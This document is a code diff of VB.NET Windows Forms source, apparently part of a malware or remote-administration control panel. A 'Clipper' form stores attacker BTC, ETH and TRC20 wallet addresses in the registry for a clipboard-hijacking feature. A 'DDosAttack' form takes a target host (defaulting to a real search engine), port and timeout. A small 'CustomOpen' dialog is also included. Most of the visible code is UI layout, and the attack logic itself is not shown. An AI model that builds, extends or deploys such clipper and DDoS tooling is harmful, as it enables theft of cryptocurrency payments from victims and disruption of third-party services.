Guna2TextBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox2.BorderRadius = 3
|
||||
Guna2TextBox2.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox2.DefaultText = "ETH_Address"
|
||||
Guna2TextBox2.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Location = New System.Drawing.Point(63, 41)
|
||||
Guna2TextBox2.Name = "Guna2TextBox2"
|
||||
Guna2TextBox2.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox2.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.PlaceholderText = ""
|
||||
Guna2TextBox2.SelectedText = ""
|
||||
Guna2TextBox2.Size = New System.Drawing.Size(259, 21)
|
||||
Guna2TextBox2.TabIndex = 53
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox1.BorderRadius = 3
|
||||
Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox1.DefaultText = "BTC_Address"
|
||||
Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Location = New System.Drawing.Point(63, 14)
|
||||
Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox1.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.PlaceholderText = ""
|
||||
Guna2TextBox1.SelectedText = ""
|
||||
Guna2TextBox1.Size = New System.Drawing.Size(259, 21)
|
||||
Guna2TextBox1.TabIndex = 54
|
||||
'
|
||||
'Guna2TextBox3
|
||||
'
|
||||
Guna2TextBox3.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox3.BorderRadius = 3
|
||||
Guna2TextBox3.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox3.DefaultText = "TRC20_Address"
|
||||
Guna2TextBox3.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox3.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox3.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox3.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox3.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox3.Location = New System.Drawing.Point(63, 68)
|
||||
Guna2TextBox3.Name = "Guna2TextBox3"
|
||||
Guna2TextBox3.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox3.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox3.PlaceholderText = ""
|
||||
Guna2TextBox3.SelectedText = ""
|
||||
Guna2TextBox3.Size = New System.Drawing.Size(259, 21)
|
||||
Guna2TextBox3.TabIndex = 56
|
||||
'
|
||||
'Clipper
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(339, 141)
|
||||
Controls.Add(Guna2TextBox3)
|
||||
Controls.Add(Guna2GradientButton1)
|
||||
Controls.Add(Guna2TextBox2)
|
||||
Controls.Add(Guna2TextBox1)
|
||||
Controls.Add(Label3)
|
||||
Controls.Add(Label2)
|
||||
Controls.Add(Label1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
MaximizeBox = False
|
||||
MinimizeBox = False
|
||||
Name = "Clipper"
|
||||
SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide
|
||||
Text = "Clipper"
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents Label2 As Label
|
||||
Friend WithEvents Label3 As Label
|
||||
Friend WithEvents Guna2TextBox3 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2TextBox2 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,34 @@
|
||||
Public Class Clipper
|
||||
|
||||
Public Sub New()
|
||||
InitializeComponent()
|
||||
Opacity = 0
|
||||
FadeIn(Me, 20)
|
||||
Guna2TextBox1.Select()
|
||||
End Sub
|
||||
|
||||
Private Sub Clipper_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Try
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "BTC", Nothing) = Nothing Then
|
||||
Guna2TextBox1.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "BTC", Nothing)
|
||||
End If
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "ETH", Nothing) = Nothing Then
|
||||
Guna2TextBox2.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "ETH", Nothing)
|
||||
End If
|
||||
|
||||
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "TRC20", Nothing) = Nothing Then
|
||||
Guna2TextBox3.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "TRC20", Nothing)
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
If String.IsNullOrWhiteSpace(Guna2TextBox1.Text) Or String.IsNullOrWhiteSpace(Guna2TextBox2.Text) Or String.IsNullOrWhiteSpace(Guna2TextBox3.Text) Then
|
||||
Else
|
||||
DialogResult = DialogResult.OK
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+117
@@ -0,0 +1,117 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class CustomOpen
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(CustomOpen))
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2TextBox2 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
SuspendLayout()
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.BorderRadius = 4
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.Image = CType(resources.GetObject("Guna2GradientButton1.Image"), System.Drawing.Image)
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(25, 79)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(293, 27)
|
||||
Guna2GradientButton1.TabIndex = 56
|
||||
Guna2GradientButton1.Text = "Ok"
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox1.BorderRadius = 3
|
||||
Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox1.DefaultText = ""
|
||||
Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Location = New System.Drawing.Point(25, 25)
|
||||
Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox1.PlaceholderText = ""
|
||||
Guna2TextBox1.SelectedText = ""
|
||||
Guna2TextBox1.Size = New System.Drawing.Size(293, 21)
|
||||
Guna2TextBox1.TabIndex = 57
|
||||
'
|
||||
'Guna2TextBox2
|
||||
'
|
||||
Guna2TextBox2.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox2.BorderRadius = 3
|
||||
Guna2TextBox2.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox2.DefaultText = ""
|
||||
Guna2TextBox2.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox2.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox2.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox2.Location = New System.Drawing.Point(25, 52)
|
||||
Guna2TextBox2.Name = "Guna2TextBox2"
|
||||
Guna2TextBox2.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox2.PlaceholderText = ""
|
||||
Guna2TextBox2.SelectedText = ""
|
||||
Guna2TextBox2.Size = New System.Drawing.Size(293, 21)
|
||||
Guna2TextBox2.TabIndex = 58
|
||||
'
|
||||
'CustomOpen
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(340, 124)
|
||||
Controls.Add(Guna2TextBox2)
|
||||
Controls.Add(Guna2TextBox1)
|
||||
Controls.Add(Guna2GradientButton1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
MaximizeBox = False
|
||||
MinimizeBox = False
|
||||
Name = "CustomOpen"
|
||||
SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide
|
||||
Text = "CustomOpen"
|
||||
ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2TextBox2 As Guna.UI2.WinForms.Guna2TextBox
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,15 @@
|
||||
Public Class CustomOpen
|
||||
|
||||
Public Sub New()
|
||||
InitializeComponent()
|
||||
Opacity = 0
|
||||
FadeIn(Me, 20)
|
||||
Guna2TextBox1.Select()
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
If Not String.IsNullOrWhiteSpace(Guna2TextBox1.Text) Then
|
||||
DialogResult = DialogResult.OK
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+318
@@ -0,0 +1,318 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class DDosAttack
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(DDosAttack))
|
||||
label4 = New System.Windows.Forms.Label()
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel2 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
Timer2 = New System.Windows.Forms.Timer(components)
|
||||
Guna2GroupBox1 = New Guna.UI2.WinForms.Guna2GroupBox()
|
||||
txtPort = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
txtHost = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Label5 = New System.Windows.Forms.Label()
|
||||
Label6 = New System.Windows.Forms.Label()
|
||||
Guna2GroupBox2 = New Guna.UI2.WinForms.Guna2GroupBox()
|
||||
txtTimeout = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Label7 = New System.Windows.Forms.Label()
|
||||
Guna2GroupBox3 = New Guna.UI2.WinForms.Guna2GroupBox()
|
||||
Guna2GradientButton3 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2GradientButton2 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
StatusStrip1.SuspendLayout()
|
||||
Guna2GroupBox1.SuspendLayout()
|
||||
Guna2GroupBox2.SuspendLayout()
|
||||
Guna2GroupBox3.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'label4
|
||||
'
|
||||
label4.AutoSize = True
|
||||
label4.Location = New System.Drawing.Point(203, 38)
|
||||
label4.Margin = New System.Windows.Forms.Padding(2, 0, 2, 0)
|
||||
label4.Name = "label4"
|
||||
label4.Size = New System.Drawing.Size(28, 15)
|
||||
label4.TabIndex = 5
|
||||
label4.Text = "Min"
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel2, ToolStripStatusLabel1})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 276)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Size = New System.Drawing.Size(317, 22)
|
||||
StatusStrip1.TabIndex = 58
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel2
|
||||
'
|
||||
ToolStripStatusLabel2.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel2.Name = "ToolStripStatusLabel2"
|
||||
ToolStripStatusLabel2.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel2.Text = ".."
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel1.Text = ".."
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'Timer2
|
||||
'
|
||||
Timer2.Enabled = True
|
||||
Timer2.Interval = 3000
|
||||
'
|
||||
'Guna2GroupBox1
|
||||
'
|
||||
Guna2GroupBox1.BorderRadius = 3
|
||||
Guna2GroupBox1.Controls.Add(txtPort)
|
||||
Guna2GroupBox1.Controls.Add(txtHost)
|
||||
Guna2GroupBox1.Controls.Add(Label5)
|
||||
Guna2GroupBox1.Controls.Add(Label6)
|
||||
Guna2GroupBox1.CustomBorderThickness = New System.Windows.Forms.Padding(0)
|
||||
Guna2GroupBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GroupBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2GroupBox1.Location = New System.Drawing.Point(12, 12)
|
||||
Guna2GroupBox1.Name = "Guna2GroupBox1"
|
||||
Guna2GroupBox1.Size = New System.Drawing.Size(291, 97)
|
||||
Guna2GroupBox1.TabIndex = 3
|
||||
Guna2GroupBox1.Text = "Target"
|
||||
'
|
||||
'txtPort
|
||||
'
|
||||
txtPort.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
txtPort.BorderRadius = 3
|
||||
txtPort.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
txtPort.DefaultText = "80"
|
||||
txtPort.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
txtPort.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
txtPort.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
txtPort.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
txtPort.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
txtPort.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
txtPort.ForeColor = System.Drawing.Color.Black
|
||||
txtPort.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
txtPort.Location = New System.Drawing.Point(57, 64)
|
||||
txtPort.Name = "txtPort"
|
||||
txtPort.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
txtPort.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
txtPort.PlaceholderText = ""
|
||||
txtPort.SelectedText = ""
|
||||
txtPort.Size = New System.Drawing.Size(216, 21)
|
||||
txtPort.TabIndex = 60
|
||||
'
|
||||
'txtHost
|
||||
'
|
||||
txtHost.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
txtHost.BorderRadius = 3
|
||||
txtHost.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
txtHost.DefaultText = "www.google.com"
|
||||
txtHost.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
txtHost.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
txtHost.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
txtHost.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
txtHost.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
txtHost.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
txtHost.ForeColor = System.Drawing.Color.Black
|
||||
txtHost.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
txtHost.Location = New System.Drawing.Point(57, 37)
|
||||
txtHost.Name = "txtHost"
|
||||
txtHost.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
txtHost.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
txtHost.PlaceholderText = ""
|
||||
txtHost.SelectedText = ""
|
||||
txtHost.Size = New System.Drawing.Size(216, 21)
|
||||
txtHost.TabIndex = 59
|
||||
'
|
||||
'Label5
|
||||
'
|
||||
Label5.AutoSize = True
|
||||
Label5.Location = New System.Drawing.Point(16, 66)
|
||||
Label5.Margin = New System.Windows.Forms.Padding(2, 0, 2, 0)
|
||||
Label5.Name = "Label5"
|
||||
Label5.Size = New System.Drawing.Size(35, 15)
|
||||
Label5.TabIndex = 3
|
||||
Label5.Text = "Port :"
|
||||
'
|
||||
'Label6
|
||||
'
|
||||
Label6.AutoSize = True
|
||||
Label6.Location = New System.Drawing.Point(14, 38)
|
||||
Label6.Margin = New System.Windows.Forms.Padding(2, 0, 2, 0)
|
||||
Label6.Name = "Label6"
|
||||
Label6.Size = New System.Drawing.Size(38, 15)
|
||||
Label6.TabIndex = 4
|
||||
Label6.Text = "Host :"
|
||||
'
|
||||
'Guna2GroupBox2
|
||||
'
|
||||
Guna2GroupBox2.BorderRadius = 3
|
||||
Guna2GroupBox2.Controls.Add(label4)
|
||||
Guna2GroupBox2.Controls.Add(txtTimeout)
|
||||
Guna2GroupBox2.Controls.Add(Label7)
|
||||
Guna2GroupBox2.CustomBorderThickness = New System.Windows.Forms.Padding(0)
|
||||
Guna2GroupBox2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GroupBox2.ForeColor = System.Drawing.Color.Black
|
||||
Guna2GroupBox2.Location = New System.Drawing.Point(12, 115)
|
||||
Guna2GroupBox2.Name = "Guna2GroupBox2"
|
||||
Guna2GroupBox2.Size = New System.Drawing.Size(291, 70)
|
||||
Guna2GroupBox2.TabIndex = 59
|
||||
Guna2GroupBox2.Text = "Settings"
|
||||
'
|
||||
'txtTimeout
|
||||
'
|
||||
txtTimeout.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
txtTimeout.BorderRadius = 3
|
||||
txtTimeout.Cursor = System.Windows.Forms.Cursors.IBeam
|
